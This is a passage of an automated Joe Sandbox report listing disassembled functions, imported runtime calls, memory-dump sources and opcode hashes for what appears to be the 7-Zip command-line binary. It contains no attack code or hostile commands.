                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: _initterm$__getmainargs__set_app_type__setusermatherr_cexit
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 352749199-0
                                                                                                                                                                                                                                                              • Opcode ID: 7bb71b32ccd8ca11bad9e88b1576836c321785d074d4d8a0f920451f9c6aec85
                                                                                                                                                                                                                                                              • Instruction ID: b7441a8a178f0101a86dafdaa423c1ca28d66505a09ed078e6341754769f6eda
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 7bb71b32ccd8ca11bad9e88b1576836c321785d074d4d8a0f920451f9c6aec85
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 47316B7261874A86DB40DF69F88036A77A2F784B64F000239E769437B4DB3DD859CB40
                                                                                                                                                                                                                                                              Function 006FE15A Relevance: 9.1, APIs: 6, Instructions: 53COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: _initterm$__getmainargs__set_app_type__setusermatherr_cexit
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 352749199-0
                                                                                                                                                                                                                                                              • Opcode ID: df01363d105557db7d6733dfac239b6cd4c4f9791f50a13a19417a34d94178c8
                                                                                                                                                                                                                                                              • Instruction ID: 63b27f3ac5c39154ccafd509b4241b52482260dedcb9a8d02bbb5d330cdf68fb
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: df01363d105557db7d6733dfac239b6cd4c4f9791f50a13a19417a34d94178c8
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 96212972618B4686EB40DF68F84036A7762FB84764F000225EA6D433F4DF3DD959CB40
                                                                                                                                                                                                                                                              Function 006FE139 Relevance: 9.1, APIs: 6, Instructions: 53COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: _initterm$__getmainargs__set_app_type__setusermatherr_cexit
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 352749199-0
                                                                                                                                                                                                                                                              • Opcode ID: df01363d105557db7d6733dfac239b6cd4c4f9791f50a13a19417a34d94178c8
                                                                                                                                                                                                                                                              • Instruction ID: 63b27f3ac5c39154ccafd509b4241b52482260dedcb9a8d02bbb5d330cdf68fb
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: df01363d105557db7d6733dfac239b6cd4c4f9791f50a13a19417a34d94178c8
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 96212972618B4686EB40DF68F84036A7762FB84764F000225EA6D433F4DF3DD959CB40
                                                                                                                                                                                                                                                              Function 006FE1A6 Relevance: 9.1, APIs: 6, Instructions: 53COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: _initterm$__getmainargs__set_app_type__setusermatherr_cexit
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 352749199-0
                                                                                                                                                                                                                                                              • Opcode ID: df01363d105557db7d6733dfac239b6cd4c4f9791f50a13a19417a34d94178c8
                                                                                                                                                                                                                                                              • Instruction ID: 63b27f3ac5c39154ccafd509b4241b52482260dedcb9a8d02bbb5d330cdf68fb
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: df01363d105557db7d6733dfac239b6cd4c4f9791f50a13a19417a34d94178c8
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 96212972618B4686EB40DF68F84036A7762FB84764F000225EA6D433F4DF3DD959CB40
                                                                                                                                                                                                                                                              Function 006D4610 Relevance: 8.8, APIs: 7, Instructions: 62COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1294909896-0
                                                                                                                                                                                                                                                              • Opcode ID: 899f08306957a66c740d4174f20d1bdb533731c698e095d3b789b8ce7f7e4d05
                                                                                                                                                                                                                                                              • Instruction ID: a811ed2958e99b6e26d7638a52cc0e9396c4dbcc7cf8a15e3d6ee2aedaf6e9fe
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 899f08306957a66c740d4174f20d1bdb533731c698e095d3b789b8ce7f7e4d05
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: D7119463B41A8587CA60BF36D9611A93311EB53BB07084336DF3E17795DF20CCA28304
                                                                                                                                                                                                                                                              Function 006D419C Relevance: 8.8, APIs: 7, Instructions: 45COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1294909896-0
                                                                                                                                                                                                                                                              • Opcode ID: 29f7608983fcae077df9a41f20b4e1c47ea80a41590d90ea80717b354026d7b0
                                                                                                                                                                                                                                                              • Instruction ID: 5da78b882650879cc137816b470181cbebfcd95a26dc0a1f437dfb6fa33eca67
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 29f7608983fcae077df9a41f20b4e1c47ea80a41590d90ea80717b354026d7b0
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 9B111B62712A4086CF14EF7AC8A126C7361FBC1F98B044666EF3E4B765CF34C8468348
                                                                                                                                                                                                                                                              Function 006E3A42 Relevance: 7.7, APIs: 6, Instructions: 151COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1294909896-0
                                                                                                                                                                                                                                                              • Opcode ID: 3c674b90aae9c7a3b63d2bdd2af22403dde61106ae7c1b39dd43b612bf24b9b2
                                                                                                                                                                                                                                                              • Instruction ID: 61341f2e46a41a3cf7acd4ab5c56a597e1fb4236ab036a9c61280f7020948596
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 3c674b90aae9c7a3b63d2bdd2af22403dde61106ae7c1b39dd43b612bf24b9b2
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: CA516C63201A4191CB50EF25C4A06EE6762F7C5FC4F90512BEB4E97729CF78CA8AC745
                                                                                                                                                                                                                                                              Function 006F1544 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 53COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • fputs.MSVCRT ref: 006F15D5
                                                                                                                                                                                                                                                                • Part of subcall function 006FB1C8: memset.MSVCRT ref: 006FB20D
                                                                                                                                                                                                                                                                • Part of subcall function 006FB1C8: fputs.MSVCRT ref: 006FB232
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: fputs$memset
                                                                                                                                                                                                                                                              • String ID: Extracting archive: $Open$Testing archive:
                                                                                                                                                                                                                                                              • API String ID: 3543874852-295398807
                                                                                                                                                                                                                                                              • Opcode ID: 9f4bf5ef788e6728e8579e5dfc2a785cb0374665964cbcc9bd9e207323b06e63
                                                                                                                                                                                                                                                              • Instruction ID: 562733e022eb8e29e1e851e07e094dbcfa6e00b109faaf3234a4c2157c8903ab
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 9f4bf5ef788e6728e8579e5dfc2a785cb0374665964cbcc9bd9e207323b06e63
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 76118FA2742686C4DF91EB29D8643F823A6E745F98F5885359F0D4A364EF39C4CAC310
                                                                                                                                                                                                                                                              Function 006F2E24 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • fputs.MSVCRT ref: 006F2E47
                                                                                                                                                                                                                                                              • fputs.MSVCRT ref: 006F2E57
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006F2EA4
                                                                                                                                                                                                                                                                • Part of subcall function 006F2CFC: fputs.MSVCRT ref: 006F2D41
                                                                                                                                                                                                                                                                • Part of subcall function 006F2CFC: fputs.MSVCRT ref: 006F2DCF
                                                                                                                                                                                                                                                                • Part of subcall function 006F2CFC: free.MSVCRT ref: 006F2DFF
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: fputs$free
                                                                                                                                                                                                                                                              • String ID: =
                                                                                                                                                                                                                                                              • API String ID: 3873070119-2525689732
                                                                                                                                                                                                                                                              • Opcode ID: 4cca910cc9feef97d39b55c90a06b9effa51fec30a6b783ec7096b57ced3bdf6
                                                                                                                                                                                                                                                              • Instruction ID: 7f2e7bc94f2aea6f12c58910c2a9a12e541d0dbafb76e02e604d4565957f2407
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 4cca910cc9feef97d39b55c90a06b9effa51fec30a6b783ec7096b57ced3bdf6
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 60F086D230450180DE20E726E9613BE5363ABC5FF4F049325AE6E07BA8DE2CC9468B04
                                                                                                                                                                                                                                                              Function 006E49B0 Relevance: 6.4, APIs: 5, Instructions: 106COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006E4A5C
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006E4A67
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006E4AE4
                                                                                                                                                                                                                                                                • Part of subcall function 006B3314: memmove.MSVCRT ref: 006B3339
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006E4B0F
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006E4B1A
                                                                                                                                                                                                                                                                • Part of subcall function 006B2130: malloc.MSVCRT ref: 006B2134
                                                                                                                                                                                                                                                                • Part of subcall function 006B2130: _CxxThrowException.MSVCRT ref: 006B214F
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free$ExceptionThrowmallocmemmove
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 3352498445-0
                                                                                                                                                                                                                                                              • Opcode ID: ffa01df610a78eb8c6bf6cbd45b0887f3d376cc6246ea700225451970a264df5
                                                                                                                                                                                                                                                              • Instruction ID: f21d7459b2638d9558d44b10ade3fc3660a4381e97585232c2007830e6bb3173
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: ffa01df610a78eb8c6bf6cbd45b0887f3d376cc6246ea700225451970a264df5
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 1641BF63205B8591CB50EF3AD4502EE67A2FB86B94F481136EB8E47729DF38C596C318
                                                                                                                                                                                                                                                              Function 006FE120 Relevance: 6.1, APIs: 4, Instructions: 54COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID:
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID:
                                                                                                                                                                                                                                                              • Opcode ID: ee94cdd725bc1b4db16937cbd8c93f2249c1c3cc61606458e41898ca9daa4340
                                                                                                                                                                                                                                                              • Instruction ID: 5028ebd343d7b3ad04c061dcd94fc19fe134a2bf4df3cbcdb1d529dba8345cec
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: ee94cdd725bc1b4db16937cbd8c93f2249c1c3cc61606458e41898ca9daa4340
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: B5315E72614B45C6EB00DF58F8903AA7BA2F784B64F404225E69D437F4DB3DD895CB50
                                                                                                                                                                                                                                                              Function 006B2320 Relevance: 6.0, APIs: 4, Instructions: 50COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free$fputsmemmove
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 4106585527-0
                                                                                                                                                                                                                                                              • Opcode ID: de874a376c389c5634e5b3a271c24aa59135fb5864ed34f7a1f8a9b157696600
                                                                                                                                                                                                                                                              • Instruction ID: 48a4fc3630a6c5eaf871f9703959aa90752e22852f4eeefeaef4a9f878d1f250
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: de874a376c389c5634e5b3a271c24aa59135fb5864ed34f7a1f8a9b157696600
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: E30156A330884191DE60AB25E85119E6762E7C5BE4F045321FB6F877F8DE28CAC6C704
                                                                                                                                                                                                                                                              Function 006B68A0 Relevance: 6.0, APIs: 4, Instructions: 47COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: AttributesFilefree
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1936811914-0
                                                                                                                                                                                                                                                              • Opcode ID: 2ecb6214096e143b2484f2832f1280b3ab62ecd8edf6342453ae4ca911538852
                                                                                                                                                                                                                                                              • Instruction ID: f05c90d3c94f2bdee8e0bf9767adda3d8380dab962f6bfd1be8e9308ee79e53f
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 2ecb6214096e143b2484f2832f1280b3ab62ecd8edf6342453ae4ca911538852
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 8801F2A230421282CA30AB25E5902FE176A9B857F0F180335AE69873A4CE28CDC79704
                                                                                                                                                                                                                                                              Function 006B7D4C Relevance: 6.0, APIs: 4, Instructions: 39COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: AttributesFilefree
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1936811914-0
                                                                                                                                                                                                                                                              • Opcode ID: 90b61e9f4f0805f8493b7b2730efc4ecc0887a88725c8ba3c0691ab996cf754b
                                                                                                                                                                                                                                                              • Instruction ID: 56ad04b48d4d9b4e9ed3bdd5ea9c2e1300d6057bddf6926a030cff74dedf3ee6
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 90b61e9f4f0805f8493b7b2730efc4ecc0887a88725c8ba3c0691ab996cf754b
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: C2F031A620C60181CA60AB75A9A42FD12629FC97F5F540325EB79867E5DF14CAC68704
                                                                                                                                                                                                                                                              Function 006D3E14 Relevance: 5.1, APIs: 4, Instructions: 142COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free$memmove
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1534225298-0
                                                                                                                                                                                                                                                              • Opcode ID: e8f9cdc7cbc43501b9a821d31bcf444afd51c02bda1371c1c9b7f3f0ed001691
                                                                                                                                                                                                                                                              • Instruction ID: 11a633fb3a38eecb09096cea1631ef967981f54c5d7a197d1843c960b52039f3
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: e8f9cdc7cbc43501b9a821d31bcf444afd51c02bda1371c1c9b7f3f0ed001691
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 4E51B272B00A9497CA70DF16E88029DB362F789BD4F40422BEB9E47B59DF38C5A5C744
                                                                                                                                                                                                                                                              Function 006D9BCC Relevance: 5.1, APIs: 4, Instructions: 108COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
